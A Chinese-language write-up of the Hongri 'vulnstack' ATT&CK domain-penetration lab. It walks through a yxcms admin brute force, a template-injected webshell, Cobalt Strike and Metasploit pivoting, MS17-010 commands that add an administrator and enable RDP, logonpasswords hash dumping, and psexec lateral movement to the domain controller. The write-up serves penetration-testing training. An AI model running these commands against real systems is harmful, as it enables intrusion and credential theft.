本文较长,思路比较混乱,主要是提高实践体验,师傅们轻喷
由于之前一靶场环境问题,先做了二靶场
ATT&CK实战系列(二)琢磨篇
该靶机是红日安全团队出的域渗透靶机。
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
压缩包中的win7为VM1,win2003为VM2,win2008为VM3,拓扑图如下所示:
环境说明
攻击机
攻击机 win7 ip:192.168.101.133
攻击机 kali ip:192.168.101.129
WEB机
win7 内网ip:10.10.10.130 外网ip:192.168.101.132
域成员
win2003 ip:10.10.10.131
域控
win2008 ip:10.10.10.132
kali设置成NAT模式,win7网络适配器1设置成NAT模式,网络适配器2设置成自定义(VMnet1仅主机模式),win2003、win2008 网络适配器设置成自定义(VMnet1仅主机模式)
主机默认开机密码都是hongrisec@2019
,手动在win7的c盘下开启phpstudy,若phpstudy启动失败,建议重装。
设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透。
确定好环境网卡的配置
攻击机且同网段的机器能够访问到web机
实验开始
nmap扫描一下目标机
yxcms后台getshell
得知页面是yxcms,网上搜索历史漏洞,后台存在模板写入的getshell方式
打开默认后台 http://192.168.101.132/yxcms/index.php?r=admin/index/login
爆破一下,admin 123456 登进后台。
在前台模板->管理模板文件->index_index.php
处编辑,插入php语句
看到phpinfo页面,可getshell
写入简单的一句话再用蚁剑进行连接
收集系统信息
查看权限是管理员administrator,再判断该机器为双网卡
通过在蚁剑虚拟终端的命令执行tasklist /SVC
,再将进程信息拿去对比发现不存在杀软
再对比一下补丁信息
该机器可以有很多种提权方式,就没有一一写出来
上线至c2中
这里利用cs4生成exe后门上传到web机上
通过命令去执行该cs.exe
发现我们的cs上有web机器上线,先sleep 0消除减少目标机器交互的延迟
通过cs4自带的提权模块将administrtor权限提升到system权限
派生到msf
为了其他方便的利用与操作,可选择联动msf
msf中
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
探测内网存活主机
添加路由为后续对其他主机的利用做好准备
利用arp_scan模块探测一下内网存活主机
run post/windows/gather/arp_scanner rhosts=10.10.10.0/24
也可通过cs端口扫描插件对网段的内网主机进行探测(cs中无需添加路由)
利用网上的插件扫描了一波主机名及系统类型
探测内网主机端口
我们可以使用msf的模块,也可以先在msf中配置好socks代理模块
在/etc/proxychains.conf
中配置好代理端口
利用nmap对内网内10.10.10.0/24网段的主机进行端口扫描
proxychains nmap -sT -Pn -T4 10.10.10.0/24
也可以使用cs中的端口扫描差插件,显示的信息较为简单明了
拿下pc
利用ms17_010盲打一波,先探测再利用,但是拿不到shell均失败
但是可以用use auxiliary/admin/smb/ms17_010_command
执行一些系统权限的命令可以拿下pc
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 10.10.10.131
set command net user zzzwj @!FuckSEC!@ /add #添加用户
run #成功执行
set command net localgroup administrators zzzwj /add #管理员权限
run #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f'
run #成功执行
然后使用kali自带的rdesktop,proxychains连接pc的3389
proxychains rdesktop 10.10.10.131
(忘截图了。。。)
抓hash
cs中对域内机器进行哈希抓取
logonpasswords
冲域控
可建立smb隧道,利用psexec进行横向
这里较为详细介绍一下SMB Beacon
设置SMB监听器建立连接
SMB Beacon 使用命名管道通过一个父 Beacon 进行通信。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效。Windows 将命名管道通信封装在 SMB 协议中。因此得名 SMB Beacon。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败)
SMB Beacon监听器对“提升权限”和“横向渗透”中很有用
SMB Beacon 配置
首先需要一个上线的主机,这里我使用的HTTP Beacon
主机上线后,新建一个SMB Beacon,输入监听器名称,选择Beacon SMB,管道名称可以直接默认,也可以自定义
接下来在Beacon中直接输入spawn SMB,这里的SMB指代的是创建的SMB Beacon的监听器名称,也可以直接右击session,在Spawn选项中选择刚添加的SMB Beacon
等待一会儿,就可以看到派生的SMB Beacon,在external中可以看到IP后有个∞∞
字符
然后可以通过psexec模块进行横向,cs中的psexec,psexec_pth均尝试一下,隔一段时间就收到了域控主机的shell
在msf中的话,因为我们通过cs抓取了域管理的账号密码哈希之后,可以直接使用exploit/windows/smb/psexec
模块,options中将参数补充拿下域控,且是系统权限
总的来说
通过yxcms后台getshell拿下权限,通过logonpasswords
方式dump出了账号密码,最后在利用psexec模块进行横向拿shell
整体做完感觉绕了很多弯,没参考网上任何攻击思路,两天慢慢边翻阅资料边利用知识储备琢磨出来的,好的坏的过程我也都一一记录下来。师傅大佬们勿喷哦~
GOT IT!
******************************************************
具体利用方式需根据具体实践场景~